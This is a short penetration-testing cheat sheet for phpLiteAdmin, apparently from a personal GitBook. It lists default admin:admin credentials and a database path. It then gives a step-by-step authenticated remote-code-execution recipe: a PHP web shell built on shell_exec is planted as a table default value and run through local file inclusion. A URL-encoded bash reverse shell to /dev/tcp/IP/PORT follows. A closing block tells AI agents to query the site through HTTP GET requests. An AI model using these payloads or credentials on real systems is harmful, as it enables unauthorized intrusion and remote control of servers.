# phpliteadmin

## Default Creds

```
admin:admin
```

## Interesting Paths

```bash
/db/phpliteadmin.php
```

## v1.9.x RCE (Authenticated)

```
https://www.exploit-db.com/exploits/24044
<?php echo "<pre>" . shell_exec($_GET["cmd"]) . "</pre>"; ?>

1. create db kashz.php
2. note path to run it later.
3. create table kashz with 1 field
4. field name: shell | field type: TEXT | default value: shellcode
5. use LFI to run kashz.php&cmd=id

# need to url encode the rev shell.
bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/IP/PORT%200%3E%261%27
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/kashz-jewels/services/phpliteadmin.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
